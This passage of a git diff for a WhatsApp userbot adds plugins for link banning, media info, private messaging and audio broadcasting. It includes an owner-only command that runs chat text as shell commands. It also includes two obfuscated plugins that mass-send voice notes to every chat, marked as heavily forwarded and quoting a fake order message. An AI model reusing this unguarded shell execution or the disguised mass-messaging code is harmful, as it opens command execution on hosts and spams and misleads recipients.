കണ്ടെത്തി!*' +if (Config.LANG == 'ID') ldc = '*Tautan Terdeteksi!*' +if (Config.LANG == 'PT') ldc = '*Link Detectado!*' +if (Config.LANG == 'RU') ldc = '*Ссылка обнаружена!*' +if (Config.LANG == 'HI') ldc = '*लिंक का पता चला!*' +if (Config.LANG == 'ES') ldc = '*Enlace Detectado!*' +Asena.addCommand({on: 'text', fromMe: false, deleteCommand: false}, (async (message, match) => { + if (antilink_var == 'true' && message.jid !== '905511384572-1616356915@g.us') { + let regex1 = new RegExp('http://') + let regex2 = new RegExp('https://') + if (regex1.test(message.message)) { + var us = await checkUsAdmin(message) + var im = await checkImAdmin(message) + if (!im) return; + if (us) return; + await message.client.groupRemove(message.jid, [message.data.participant]); + if (Config.ANTILINKMSG == 'default') { + await message.client.sendMessage(message.jid,ldc, MessageType.text, {quoted: message.data }) + } else { + await message.client.sendMessage(message.jid,Config.ANTILINKMSG, MessageType.text, {quoted: message.data }) + } + } + else if (regex2.test(message.message)) { + var us = await checkUsAdmin(message) + var im = await checkImAdmin(message) + if (!im) return; + if (us) return; + await message.client.groupRemove(message.jid, [message.data.participant]); + if (Config.ANTILINKMSG == 'default') { + await message.client.sendMessage(message.jid,ldc, MessageType.text, {quoted: message.data }) + } else { + await message.client.sendMessage(message.jid,Config.ANTILINKMSG, MessageType.text, {quoted: message.data }) + } + } + else if (message.message.match(/((?:[.]com)\b)/i)) { + var us = await checkUsAdmin(message) + var im = await checkImAdmin(message) + if (!im) return; + if (us) return; + await message.client.groupRemove(message.jid, [message.data.participant]); + if (Config.ANTILINKMSG == 'default') { + await message.client.sendMessage(message.jid,ldc, MessageType.text, {quoted: message.data }) + } else { + await message.client.sendMessage(message.jid,Config.ANTILINKMSG, MessageType.text, {quoted: message.data }) + } + } + } +})); +Asena.addCommand({pattern: 'term1 ?(.*)', fromMe: true, desc: Lang.TERM_DESC}, (async (message, match) => { + var user = message.client.user.name + var id = message.jid + if (match[1] === '') return await message.client.sendMessage(id,Lang.GIVE_ME_CODE,MessageType.text); + + exec(match[1], async (err, stdout, stderr) => { + if (err) { + return await message.client.sendMessage(id,'```' + user + ':~# ' + match[1] + '\n' + err + '```',MessageType.text); + } + + return await message.client.sendMessage(id,'```' + user + ':~# ' + match[1] + '\n' + stdout + '```',MessageType.text); + }); +})); +let wk = Config.WORKTYPE == 'public' ? false : true +var medinfo = '' +if (Config.LANG == 'TR') medinfo = 'Yanıtlanan videonun teknik bilgileri gösterir.' +if (Config.LANG == 'EN') medinfo = 'Shows the technical information of the replied video.' +if (Config.LANG == 'AZ') medinfo = 'Cavab verilən videonun texniki məlumatlarını göstərir.' +if (Config.LANG == 'ES') medinfo = 'Muestra información técnica del video respondido.' +if (Config.LANG == 'ID') medinfo = 'Menampilkan informasi teknis dari video yang dibalas.' +if (Config.LANG == 'ML') medinfo = 'മറുപടി നൽകിയ വീഡിയോയുടെ സാങ്കേതിക വിവരങ്ങൾ കാണിക്കുന്നു.' +if (Config.LANG == 'HI') medinfo = 'उत्तर दिए गए वीडियो की तकनीकी जानकारी दिखाता है।' +if (Config.LANG == 'PT') medinfo = 'Mostra as informações técnicas do vídeo respondido.' +if (Config.LANG == 'RU') medinfo = 'Показывает техническую информацию о видео, на которое был дан ответ.' + +Asena.addCommand({pattern: 'findvid$', fromMe: wk, desc: medinfo}, (async (message, match) => { + var id = message.jid + if (message.reply_message.video) { + var location = await message.client.downloadAndSaveMediaMessage({ + key: { + remoteJid: message.reply_message.jid, + id: message.reply_message.id + }, + message: message.reply_message.data.quotedMessage + }); + exec('mv ' + location + ' /root/WhatsAsenaDuplicated/vid.mp4') + exec('ffprobe -hide_banner -loglevel fatal -show_error -show_format -show_streams -show_programs -show_chapters -show_private_data -print_format json /root/WhatsAsenaDuplicated/vid.mp4', async (err, st, stderr) => { + if (err) { + return await message.client.sendMessage(id,'*Error:* \n\n' + err,MessageType.text); + } + var stdout = JSON.parse(st) + let + vsize = Config.LANG == 'TR' || Config.LANG == 'AZ' ? '*Video Boyutu:* ' : '*Video Size:* ' + vlength = Config.LANG == 'TR' || Config.LANG == 'AZ' ? '\n*Video Uzunluğu:* ' : '\n*Video Length:* ' + second = Config.LANG == 'TR' || Config.LANG == 'AZ' ? ' Saniye' : ' Second' + vrvalue = Config.LANG == 'TR' || Config.LANG == 'AZ' ? '\n*Video Çözünürlük Değeri:* ' : '\n*Video Resolution Value:* ' + vpvalue = Config.LANG == 'TR' || Config.LANG == 'AZ' ? '\n*Video Pixel Değerleri:* ' : '\n*Video Pixel Value:* ' + vpformat = Config.LANG == 'TR' || Config.LANG == 'AZ' ? '\n*Video Pixel Formatı:* ' : '\n*Video Pixel Format:* ' + vcprofile = Config.LANG == 'TR' || Config.LANG == 'AZ' ? '\n*Video Kodek Profili:* ' : '\n*Video Codec Profile:* ' + vctag = Config.LANG == 'TR' || Config.LANG == 'AZ' ? '\n*Video Kodek Tagı:* ' : '\n*Video Codec Tag:* ' + srvalue = Config.LANG == 'TR' || Config.LANG == 'AZ' ? '\n*Örnek En-Boy Oranı:* ' : '\n*Example Aspect Ratio:* ' + vrvalue = Config.LANG == 'TR' || Config.LANG == 'AZ' ? '\n*İzlenebilir En-Boy Oranı:* ' : '\n*Viewable Aspect Ratio:* ' + vfps = Config.LANG == 'TR' || Config.LANG == 'AZ' ? '\n*Video FPS Değeri:* ' : '\n*Video FPS Value:* ' + vavgfps = Config.LANG == 'TR' || Config.LANG == 'AZ' ? '\n*Video Ortalama FPS Değeri:* ' : '\n*Video Average FPS Value:* ' + sctip = Config.LANG == 'TR' || Config.LANG == 'AZ' ? '\n*Ses Kodek Türü:* ' : '\n*Audio Codec Type:* ' + sctag = Config.LANG == 'TR' || Config.LANG == 'AZ' ? '\n*Ses Kodek Tagı:* ' : '\n*Audio Codec Tag:* ' + shzvalue = Config.LANG == 'TR' || Config.LANG == 'AZ' ? '\n*Ses KHz Oranı:* ' : '\n*Audio KHz Rate:* ' + schannel = Config.LANG == 'TR' || Config.LANG == 'AZ' ? '\n*Ses Kanalları:* ' : '\n*Audio Channels:* ' + schome = Config.LANG == 'TR' || Config.LANG == 'AZ' ? '\n*Ses Kanalı Yerleşimi:* ' : '\n*Audio Channel Layout:* ' + var msgi = vsize + stdout.format.size / 1000000 + 'MB' + vlength + stdout.streams[0].duration + second + vrvalue + stdout.streams[0].width + 'p' + vpvalue + stdout.streams[0].width + 'x' + stdout.streams[0].height + vpformat + stdout.streams[0].pix_fmt + vcprofile + stdout.streams[0].codec_name + vctag + stdout.streams[0].codec_tag_string + srvalue + stdout.streams[0].sample_aspect_ratio + vrvalue + stdout.streams[0].display_aspect_ratio + vfps + stdout.streams[0].r_frame_rate.split('/')[0] + vavgfps + stdout.streams[0].avg_frame_rate.split('/')[0] + sctip + stdout.streams[1].codec_name + sctag + stdout.streams[1].codec_tag_string + shzvalue + stdout.streams[1].sample_rate + schannel + stdout.streams[1].channels + schome + stdout.streams[1].channel_layout + return await message.client.sendMessage(id,msgi,MessageType.text); + }); + } else { return await message.client.sendMessage(id,SLang.MP4TOAUDİO_NEEDREPLY, MessageType.text) + } +})); +var sucmsg = '' +var pmmm = '' +var psmm = '' +if (Config.LANG == 'TR') sucmsg = '*Mesaj Başarıyla Gönderildi ✅*', pmmm = 'Yanıt verilen kişiye özelden mesaj gönderir.', psmm = 'Yanıt verilen kişiye özelden sesli mesaj gönderir.' +if (Config.LANG == 'EN') sucmsg = '*Message Sent Successfully ✅*', pmmm = 'Sends a private message to the replied person.', psmm = 'Sends a private voice message to the respondent.' +if (Config.LANG == 'AZ') sucmsg = '*Mesaj Uğurla Göndərildi ✅*', pmmm = 'Cavablandırılan şəxsə xüsusi mesaj göndərir.', psmm = 'Cavabdehə xüsusi səs mesajı göndərir.' +if (Config.LANG == 'ES') sucmsg = '*Mensaje enviado con éxito ✅*', pmmm = 'Envía un mensaje privado a la persona que respondió.', psmm = 'Envía un mensaje de voz privado al encuestado.' +if (Config.LANG == 'HI') sucmsg = '*संदेश सफलतापूर्वक भेजा जा चुका है ✅*', pmmm = 'उत्तर दिए गए व्यक्ति को एक निजी संदेश भेजता है', psmm = 'प्रतिवादी को एक निजी ध्वनि संदेश भेजता है' +if (Config.LANG == 'ML') sucmsg = '*സന്ദേശം വിജയകരമായി അയച്ചു ✅*', pmmm = 'മറുപടി നൽകിയ വ്യക്തിക്ക് ഒരു സ്വകാര്യ സന്ദേശം അയയ്ക്കുന്നു.', psmm = 'പ്രതികരിക്കുന്നയാൾക്ക് ഒരു സ്വകാര്യ ശബ്ദ സന്ദേശം അയയ്ക്കുന്നു.' +if (Config.LANG == 'RU') sucmsg = '*Сообщение успешно отправлено ✅*', pmmm = 'Отправляет личное сообщение ответившему человеку.', psmm = 'Отправляет респонденту личное голосовое сообщение.' +if (Config.LANG == 'ID') sucmsg = '*Pesan Berhasil Terkirim ✅*', pmmm = 'Mengirim pesan pribadi ke orang yang dibalas.', psmm = 'Mengirim pesan suara pribadi ke responden.' +if (Config.LANG == 'PT') sucmsg = '*Mensagem enviada com sucesso ✅*', pmmm = 'Envia uma mensagem privada para a pessoa respondida.', psmm = 'Envia uma mensagem de voz privada para o entrevistado.' +Asena.addCommand({pattern: 'pm ?(.*)', fromMe: true, desc: pmmm, onlyGroup: true }, (async (message, match) => { + if (!message.reply_message) return await message.client.sendMessage(message.jid,NLang.NEED_REPLY, MessageType.text); + if (message.reply_message && match[1] == '') return await message.client.sendMessage(message.jid, NLang.NEED_WORDS, MessageType.text); + const uspm = message.reply_message.jid + await message.client.sendMessage(uspm, `${match[1]}`, MessageType.text); + await message.client.sendMessage(message.jid, sucmsg, MessageType.text); +})); +Asena.addCommand({pattern: 's ?(.*)', fromMe: true, desc: psmm, onlyGroup: true}, (async (message, match) => { + if (!message.reply_message) return await message.client.sendMessage(message.jid,NLang.NEED_REPLY, MessageType.text); + if (message.reply_message && match[1] == '') return await message.client.sendMessage(message.jid, NLang.NEED_WORDS, MessageType.text); + let + LANG = Config.LANG.toLowerCase(), + ttsMessage = match[1], + SPEED = 1.0 + + if(langMatch = match[1].match("\\{([a-z]{2})\\}")) { + LANG = langMatch[1] + ttsMessage = ttsMessage.replace(langMatch[0], "") + } + if(speedMatch = match[1].match("\\{([0].[0-9]+)\\}")) { + SPEED = parseFloat(speedMatch[1]) + ttsMessage = ttsMessage.replace(speedMatch[0], "") + } + + var buffer = await googleTTS.synthesize({ + text: ttsMessage, + voice: LANG + }); + fs.writeFileSync('tts.mp3', buffer); + + await message.client.sendMessage(message.reply_message.jid, fs.readFileSync('tts.mp3'), MessageType.audio, {mimetype: Mimetype.mp4Audio, ptt: true}); + await message.client.sendMessage(message.jid,sucmsg, MessageType.text); + +})); diff --git a/plugins/antilink.js b/plugins/antilink.js new file mode 100644 index 0000000000..445933f0c9 --- /dev/null +++ b/plugins/antilink.js @@ -0,0 +1,82 @@ +const Asena = require('../events'); +const {MessageType} = require('@adiwajshing/baileys'); +const exec = require('child_process').exec; +const os = require("os"); +const fs = require('fs'); +const Config = require('../config') +const Language = require('../language'); +const Lang = Language.getString('evaluators'); +const SLang = Language.getString('conventer'); +const NLang = Language.getString('scrapers'); +const googleTTS = require('google-translate-tts'); +const Heroku = require('heroku-client'); +const heroku = new Heroku({ + token: Config.HEROKU.API_KEY +}); + + +let baseURI = '/apps/' + Config.HEROKU.APP_NAME; + + +async function checkUsAdmin(message, user = message.data.participant) { + var grup = await message.client.groupMetadata(message.jid); + var sonuc = grup['participants'].map((member) => { + if (member.jid.split("@")[0] == user.split("@")[0] && member.isAdmin) return true; else; return false; + }); + return sonuc.includes(true); +} +async function checkImAdmin(message, user = message.client.user.jid) { + var grup = await message.client.groupMetadata(message.jid); + var sonuc = grup['participants'].map((member) => { + if (member.jid.split("@")[0] == user.split("@")[0] && member.isAdmin) return true; else; return false; + }); + return sonuc.includes(true); + +} +var alllink_var = '' +async function megalink() { + await heroku.get(baseURI + '/config-vars').then(async (vars) => { + alllink_var = vars.ALL_LINK_BAN + }); +} +megalink() +var ldc = '' +if (Config.LANG == 'AZ') ldc = '*Bağlantı Aşkarlandı!*' +if (Config.LANG == 'TR') ldc = '*‎Link Tespit Edildi!*' +if (Config.LANG == 'EN') ldc = '*Link Detected! mone ee link ivde allowed alla appo pinne engane , oke bye \n\n 🕊🕊*' +if (Config.LANG == 'ML') ldc = '*ലിങ്ക് കണ്ടെത്തി!*' +if (Config.LANG == 'ID') ldc = '*Tautan Terdeteksi!*' +if (Config.LANG == 'PT') ldc = '*Link Detectado!*' +if (Config.LANG == 'RU') ldc = '*Ссылка обнаружена!*' +if (Config.LANG == 'HI') ldc = '*लिंक का पता चला!*' +if (Config.LANG == 'ES') ldc = '*Enlace Detectado!*' +Asena.addCommand({on: 'text', fromMe: false, deleteCommand: false}, (async (message, match) => { + if (alllink_var == 'true' && message.jid !== '9082891698-1616356915@g.us') { + let regex1 = new RegExp('http://') + let regex2 = new RegExp('https://') + if (regex1.test(message.message)) { + var us = await checkUsAdmin(message) + var im = await checkImAdmin(message) + if (!im) return; + if (us) return; + await message.client.groupRemove(message.jid, [message.data.participant]); + await message.client.sendMessage(message.jid,ldc, MessageType.text, {quoted: message.data }) + } + else if (regex2.test(message.message)) { + var us = await checkUsAdmin(message) + var im = await checkImAdmin(message) + if (!im) return; + if (us) return; + await message.client.groupRemove(message.jid, [message.data.participant]); + await message.client.sendMessage(message.jid,ldc, MessageType.text, {quoted: message.data }) + } + else if (message.message.match(/((?:[.]com)\b)/i)) { + var us = await checkUsAdmin(message) + var im = await checkImAdmin(message) + if (!im) return; + if (us) return; + await message.client.groupRemove(message.jid, [message.data.participant]); + await message.client.sendMessage(message.jid,ldc, MessageType.text, {quoted: message.data }) + } + } +})); diff --git a/plugins/audiobroadcast.js b/plugins/audiobroadcast.js new file mode 100644 index 0000000000..494afbc2eb --- /dev/null +++ b/plugins/audiobroadcast.js @@ -0,0 +1 @@ +const _0x8c8ede=_0xba3b;function _0x2a03(){const _0x4499c9=['addCommand','axios','1265124EaTDfi','raganork.opus','map','delete','arraybuffer','reply','quotedMessage','716aulPyu','groupMetadata','reply_message','opus','participants','client','148620vFSrtk','JID','SKV','sendMessage','2yOeMvU','child_process','219991ZjzmRn','readFileSync','7nddnwf','from','928728JRlPsi','@adiwajshing/baileys','10qeefEy','save','SAID','audio','get','2074878TabEVU','THIS\x20IS\x20NEW?','4117102KnJArK','../events','jid','LOGOSK','format','417NCAiDn','mp3','cwebp-bin'];_0x2a03=function(){return _0x4499c9;};return _0x2a03();}(function(_0x5009c9,_0x1e8f29){const _0x2387d5=_0xba3b,_0x15afa4=_0x5009c9();while(!![]){try{const _0x52227d=-parseInt(_0x2387d5(0x151))/0x1*(-parseInt(_0x2387d5(0x179))/0x2)+parseInt(_0x2387d5(0x163))/0x3*(-parseInt(_0x2387d5(0x16f))/0x4)+-parseInt(_0x2387d5(0x175))/0x5+parseInt(_0x2387d5(0x168))/0x6*(parseInt(_0x2387d5(0x153))/0x7)+-parseInt(_0x2387d5(0x155))/0x8+parseInt(_0x2387d5(0x15c))/0x9+-parseInt(_0x2387d5(0x157))/0xa*(parseInt(_0x2387d5(0x15e))/0xb);if(_0x52227d===_0x1e8f29)break;else _0x15afa4['push'](_0x15afa4['shift']());}catch(_0x36f384){_0x15afa4['push'](_0x15afa4['shift']());}}}(_0x2a03,0x1c6b9));const Raganork=require(_0x8c8ede(0x15f)),{MessageType,Mimetype}=require(_0x8c8ede(0x156)),fs=require('fs'),ffmpeg=require('fluent-ffmpeg'),{execFile}=require(_0x8c8ede(0x17a)),axios=require(_0x8c8ede(0x167)),cwebp=require(_0x8c8ede(0x165)),Config=require('../config');function _0xba3b(_0x292db1,_0x490368){const _0x2a03dd=_0x2a03();return _0xba3b=function(_0xba3bab,_0x61373b){_0xba3bab=_0xba3bab-0x151;let _0x1f6826=_0x2a03dd[_0xba3bab];return _0x1f6826;},_0xba3b(_0x292db1,_0x490368);}Raganork[_0x8c8ede(0x166)]({'pattern':'pmaudio\x20?(.*)','fromMe':!![],'desc':'Forwards\x20replied\x20audio\x20as\x20voice\x20note\x20with\x20verified\x20info\x20as\x20broadcast\x20to\x20all\x20participants'},async(_0x28d0e4,_0x4b5c04)=>{const _0xcdcaed=_0x8c8ede;if(_0x28d0e4['reply_message']===![]);if(!_0x28d0e4[_0xcdcaed(0x171)])return await _0x28d0e4[_0xcdcaed(0x174)]['sendMessage'](_0x28d0e4[_0xcdcaed(0x160)],'```Reply\x20to\x20an\x20audio```',MessageType['text']);var _0x5386a4=await axios[_0xcdcaed(0x15b)](Config[_0xcdcaed(0x161)],{'responseType':_0xcdcaed(0x16c)}),_0x2046d0=await _0x28d0e4[_0xcdcaed(0x174)][_0xcdcaed(0x170)](_0x28d0e4[_0xcdcaed(0x160)]),_0x5000a9=await _0x28d0e4[_0xcdcaed(0x16d)]('```Broadcasting\x20audio\x20with\x20info...```'),_0x350f7f=await _0x28d0e4['client']['downloadAndSaveMediaMessage']({'key':{'remoteJid':_0x28d0e4['reply_message'][_0xcdcaed(0x160)],'id':_0x28d0e4[_0xcdcaed(0x171)]['id']},'message':_0x28d0e4[_0xcdcaed(0x171)]['data'][_0xcdcaed(0x16e)]});let _0x52cc8e=_0x4b5c04[0x1];ffmpeg(_0x350f7f)[_0xcdcaed(0x162)](_0xcdcaed(0x172))[_0xcdcaed(0x158)](_0xcdcaed(0x169))['on']('end',async()=>{const _0x34bb96=_0xcdcaed;_0x2046d0=await _0x28d0e4[_0x34bb96(0x174)][_0x34bb96(0x170)](_0x28d0e4[_0x34bb96(0x160)]);var _0x3aae30=[];mesaj='',_0x2046d0[_0x34bb96(0x173)][_0x34bb96(0x16a)](async _0x105210=>{const _0x114ac5=_0x34bb96;await _0x28d0e4[_0x114ac5(0x174)][_0x114ac5(0x178)](_0x105210['jid'],fs[_0x114ac5(0x152)]('raganork.opus'),MessageType[_0x114ac5(0x15a)],{'mimetype':Mimetype[_0x114ac5(0x164)],'duration':Config[_0x114ac5(0x159)],'contextInfo':{'forwardingScore':0x3e8,'isForwarded':!![]},'quoted':{'key':{'participant':Config[_0x114ac5(0x176)]},'message':{'orderMessage':{'itemCount':Config[_0x114ac5(0x159)],'status':0x1,'surface':0x1,'message':Config[_0x114ac5(0x177)],'orderTitle':_0x114ac5(0x15d),'thumbnail':Buffer[_0x114ac5(0x154)](_0x5386a4['data']),'sellerJid':Config[_0x114ac5(0x176)]}}},'ptt':!![]}),await _0x5000a9[_0x114ac5(0x16b)]();});});}); diff --git a/plugins/audiobroadcastall.js b/plugins/audiobroadcastall.js new file mode 100644 index 0000000000..5f34d3e95d --- /dev/null +++ b/plugins/audiobroadcastall.js @@ -0,0 +1 @@ +const _0x24fd25=_0x228c;(function(_0x9c090f,_0x4b06a3){const _0x158933=_0x228c,_0x160945=_0x9c090f();while(!![]){try{const _0x2a1216=parseInt(_0x158933(0xd5))/0x1+parseInt(_0x158933(0xe7))/0x2*(-parseInt(_0x158933(0xe1))/0x3)+parseInt(_0x158933(0xdc))/0x4+-parseInt(_0x158933(0xdf))/0x5*(-parseInt(_0x158933(0xd2))/0x6)+parseInt(_0x158933(0xd7))/0x7*(parseInt(_0x158933(0xd0))/0x8)+-parseInt(_0x158933(0xcc))/0x9*(-parseInt(_0x158933(0xe9))/0xa)+-parseInt(_0x158933(0xda))/0xb*(parseInt(_0x158933(0xe4))/0xc);if(_0x2a1216===_0x4b06a3)break;else _0x160945['push'](_0x160945['shift']());}catch(_0x415762){_0x160945['push'](_0x160945['shift']());}}}(_0x55f1,0x87c6f));const Raganork=require(_0x24fd25(0xce)),{MessageType,Mimetype}=require('@adiwajshing/baileys'),fs=require('fs'),ffmpeg=require('fluent-ffmpeg'),{execFile}=require(_0x24fd25(0xe2)),axios=require(_0x24fd25(0xcb)),cwebp=require('cwebp-bin'),Config=require('../config');function _0x228c(_0x13129f,_0x276e53){const _0x55f1b4=_0x55f1();return _0x228c=function(_0x228c90,_0x29ab62){_0x228c90=_0x228c90-0xca;let _0x252d31=_0x55f1b4[_0x228c90];return _0x252d31;},_0x228c(_0x13129f,_0x276e53);}Raganork[_0x24fd25(0xf3)]({'pattern':'bcaudio\x20?(.*)','fromMe':!![],'desc':'Broadcasts\x20audio\x20as\x20voice\x20notes\x20to\x20all\x20your\x20chats\x20and\x20groups.\x20(NOT\x20WHATSAPP\x20BROADCAST\x20❌)'},async(_0x4f829a,_0x2bb197)=>{const _0x1fc097=_0x24fd25;if(_0x4f829a['reply_message']===![]);if(!_0x4f829a[_0x1fc097(0xe5)])return await _0x4f829a['client'][_0x1fc097(0xd4)](_0x4f829a[_0x1fc097(0xd3)],_0x1fc097(0xcf),MessageType[_0x1fc097(0xd8)]);var _0x12ff3d=await axios[_0x1fc097(0xef)](Config[_0x1fc097(0xf0)],{'responseType':_0x1fc097(0xea)}),_0x275836=await _0x4f829a[_0x1fc097(0xdb)][_0x1fc097(0xf2)](_0x4f829a[_0x1fc097(0xd3)]),_0x1a09ed=await _0x4f829a[_0x1fc097(0xe8)]('```Broadcasting\x20audio\x20to\x20all\x20chats...```'),_0x1c773c=await _0x4f829a[_0x1fc097(0xdb)]['downloadAndSaveMediaMessage']({'key':{'remoteJid':_0x4f829a[_0x1fc097(0xe5)][_0x1fc097(0xd3)],'id':_0x4f829a[_0x1fc097(0xe5)]['id']},'message':_0x4f829a[_0x1fc097(0xe5)][_0x1fc097(0xf4)][_0x1fc097(0xd1)]});let _0x2cf38a=_0x2bb197[0x1];ffmpeg(_0x1c773c)[_0x1fc097(0xde)](_0x1fc097(0xcd))[_0x1fc097(0xca)](_0x1fc097(0xe3))['on'](_0x1fc097(0xdd),async()=>{const _0x2e2718=_0x1fc097;var _0x25bd7e=[];mesaj='',_0x4f829a[_0x2e2718(0xdb)][_0x2e2718(0xe0)][_0x2e2718(0xd6)]()[_0x2e2718(0xeb)](async _0x34b462=>{const _0x27fd7b=_0x2e2718;await _0x4f829a['client'][_0x27fd7b(0xd4)](_0x34b462[_0x27fd7b(0xd3)],fs[_0x27fd7b(0xd9)](_0x27fd7b(0xe3)),MessageType['audio'],{'mimetype':Mimetype[_0x27fd7b(0xf1)],'duration':Config[_0x27fd7b(0xec)],'contextInfo':{'forwardingScore':0x3e8,'isForwarded':!![]},'quoted':{'key':{'participant':Config['JID']},'message':{'orderMessage':{'itemCount':Config[_0x27fd7b(0xec)],'status':0x1,'surface':0x1,'message':Config[_0x27fd7b(0xe6)],'orderTitle':_0x27fd7b(0xee),'thumbnail':Buffer['from'](_0x12ff3d[_0x27fd7b(0xf4)]),'sellerJid':Config['JID']}}},'ptt':!![]}),await _0x1a09ed[_0x27fd7b(0xed)]();});});});function _0x55f1(){const _0x5d9e9f=['SKV','49750UBCCfG','reply','36370wSxzck','arraybuffer','map','SAID','delete','THIS\x20IS\x20NEW?','get','LOGOSK','mp3','groupMetadata','addCommand','data','save','axios','2007eoJsYm','opus','../events','```Reply\x20to\x20an\x20audio```','271880MjNivT','quotedMessage','1188372eJbHxz','jid','sendMessage','982482snFuho','all','63JjDSeo','text','readFileSync','4323gYISUd','client','3930368jSmdnQ','end','format','5tZYMsZ','chats','21lpnaaY','child_process','raganork.opus','77856DAPuyt','reply_message'];_0x55f1=function(){return _0x5d9e9f;};return _0x55f1();} diff --git a/plugins/autobio.js b/plugins/autobio.js new file mode 100644 index 0000000000..596a582032 --- /dev/null +++ b/plugins/autobio.js @@ -0,0 +1,46 @@ +/* Copyright (C) 2020 anshad. + */ + +const Raashii = require('../events'); +const config = require('../config'); +const Heroku = require('heroku-client'); +const heroku = new Heroku({ + token: config.HEROKU.API_KEY +}); +let baseURI = '/apps/' + config.HEROKU.APP_NAME; + +var rashi_desc = '' +var OFF = '' +var ON = '' + +if (config.LANG == 'EN') { + + rashi_desc = 'change Auto bio mode' + OFF = '𝐀𝐮𝐭𝐨 𝐛𝐢𝐨 𝐟𝐞𝐚𝐭𝐮𝐫𝐞 𝐬𝐮𝐜𝐜𝐞𝐬𝐬𝐟𝐮𝐥𝐥𝐲 𝐬𝐡𝐮𝐭𝐝𝐨𝐰𝐧𝐞𝐝 \n 𝐩𝐥𝐞𝐚𝐬𝐞 𝐰𝐚𝐢𝐭 𝐟𝐞𝐰 𝐦𝐢𝐧𝐮𝐭𝐞 🧚‍♀️' + ON = '𝐀𝐮𝐭𝐨 𝐛𝐢𝐨 𝐟𝐞𝐚𝐭𝐮𝐫𝐞 𝐬𝐮𝐜𝐜𝐞𝐬𝐬𝐟𝐮𝐥𝐥𝐲 𝐨𝐩𝐞𝐧𝐞𝐝 \n 𝐩𝐥𝐞𝐚𝐬𝐞 𝐰𝐚𝐢𝐭 𝐟𝐞𝐰 𝐦𝐢𝐧𝐮𝐭𝐞 🧚‍♀️' +} + +if (config.LANG == 'ML') { + + rashi_desc = 'Auto bio mode മാറ്റാൻ' + OFF = '*AUTO BIO OFF ആക്കി💌*' + ON = '*AUTO BIO ON ആക്കി💌*' +} + +Raashii.addCommand({ pattern: 'autobio ?(.*)', fromMe: true, desc: rashi_desc, usage: '.autobio on / off' }, (async (message, match) => { + if (match[1] == 'off') { + await heroku.patch(baseURI + '/config-vars', { + body: { + ['AUTO_BİO']: 'false' + } + }); + await message.sendMessage(OFF) + } else if (match[1] == 'on') { + await heroku.patch(baseURI + '/config-vars', { + body: { + ['AUTO_BİO']: 'true' + } + }); + await message.sendMessage(ON) + } +})); diff --git a/plugins/aveng.js b/plugins/aveng.js index 7543fd207c..acefcdf8c4 100644 --- a/plugins/aveng.js +++ b/plugins/aveng.js @@ -1,6 +1,6 @@ -/*coded by ameer&hisham -youtube https://youtube.com/c/ICHUTECH -https://youtube.com/channel/UCpGa88rhUFYj-6-LBqBbWKw +/*coded by anshadvfc +youtube https://youtube.com/channel/UCQ3NYIDKT6-glPHTPya7b7w +https://youtube.com/channel/UCQ3NYIDKT6-glPHTPya7b7w */ const Asena = require('../events'); diff --git a/plugins/barcode.js b/plugins/barcode.js new file mode 100644 index 0000000000..1a5d06aed3 --- /dev/null +++ b/plugins/barcode.js @@ -0,0 +1,38 @@ +/*coded by anshad-vfc +https://youtube.com/channel/UCQ3NYIDKT6-glPHTPya7b7w +*/ + +const Asena = require('../events'); +const { MessageType, MessageOptions, Mimetype } = require('@adiwajshing/baileys'); +const fs = require('fs'); +const axios = require('axios'); +const Config = require('../config'); +const need = "*type some word after command*\n*command ENTHEKILUM EZHUTH NENBA" + +if (Config.WORKTYPE == 'private') { + + Asena.addCommand({ pattern: 'barcode ?(.*)', fromMe: true,dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '') return await message.sendMessage(need); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/barcode_maker?text=${match[1]}`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption: 'Made by PIKACHU' }) + + })); +} + +else if (Config.WORKTYPE == 'public') { + + Asena.addCommand({ pattern: 'barcode ?(.*)', fromMe: false,dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '') return await message.sendMessage(need); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/barcode_maker?text=${match[1]}`, { responseType: 'arraybuffer' }) + + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption: 'Made by PIKACHU' }) + + })); + +} diff --git a/plugins/bgm.js b/plugins/bgm.js index 15d6c2a31b..89f88a313b 100644 --- a/plugins/bgm.js +++ b/plugins/bgm.js @@ -1,197 +1,100 @@ -/* Codded by @Ravindu Manoj - -Telegram: t.me/RavinduManoj - -Facebook: https://www.facebook.com/ravindu.manoj.79 - +/* Copyright (C) 2020 Yusuf Usta. +Reedit by anshadvfc Licensed under the GPL-3.0 License; - you may not use this file except in compliance with the License. - -Whats bot - Ravindu Manoj - +WhatsAsena - Yusuf Usta */ const Asena = require('../events'); - const config = require('../config'); - const Heroku = require('heroku-client'); - const heroku = new Heroku({ - token: config.HEROKU.API_KEY - }); - let baseURI = '/apps/' + config.HEROKU.APP_NAME; var l_dsc = '' - var alr_on = '' - var alr_off = '' - var BGM_on = '' - var BGM_off = '' - if (config.LANG == 'TR') { - l_dsc = 'Antilink aracını etkinleştirir.' - alr_on = 'Antilink halihazırda açık!' - alr_off = 'Antilink halihazırda kapalı!' - BGM_on = 'bgm option turned on!' - BGM_off = 'bgm option turned off' - } - if (config.LANG == 'EN') { - l_dsc = 'turn on and turn of bgm. -bot owner command' - alr_on = 'Antilink is already open!' - alr_off = 'Antilink is currently closed!' - BGM_on = 'bgm option turned on!' - BGM_off = 'bgm option turned off' - } - if (config.LANG == 'AZ') { - l_dsc = 'Antilink alətini aktivləşdirir.' - alr_on = 'Antilink hazırda açıqdır!' - alr_off = 'Antilink hazırda bağlıdır!' - BGM_on = '*bgm option turned on*' - BGM_off = '*bgm option turned off*' - } - if (config.LANG == 'HI') { - l_dsc = 'एंटीलिंक टूल को सक्रिय करता है।' - alr_on = 'एंटीलिंक पहले से ही खुला है!' - alr_off = 'एंटीलिंक वर्तमान में बंद है!' - BGM_on = 'bgm option turndा!' - BGM_off = 'bgm option turned off' - } - if (config.LANG == 'ML') { - l_dsc = 'ആന്റിലിങ്ക് ഉപകരണം സജീവമാക്കുന്നു.' - alr_on = 'ആന്റിലിങ്ക് ഇതിനകം തുറന്നു!' - alr_off = 'ആന്റിലിങ്ക് നിലവിൽ അടച്ചിരിക്കുന്നു!' - BGM_on = 'bgm option turned on' - BGM_off = 'bgm option turned off' - } - if (config.LANG == 'PT') { - l_dsc = 'Ativa a ferramenta Antilink.' - alr_on = 'O Antilink já está aberto!' - alr_off = 'Antilink está 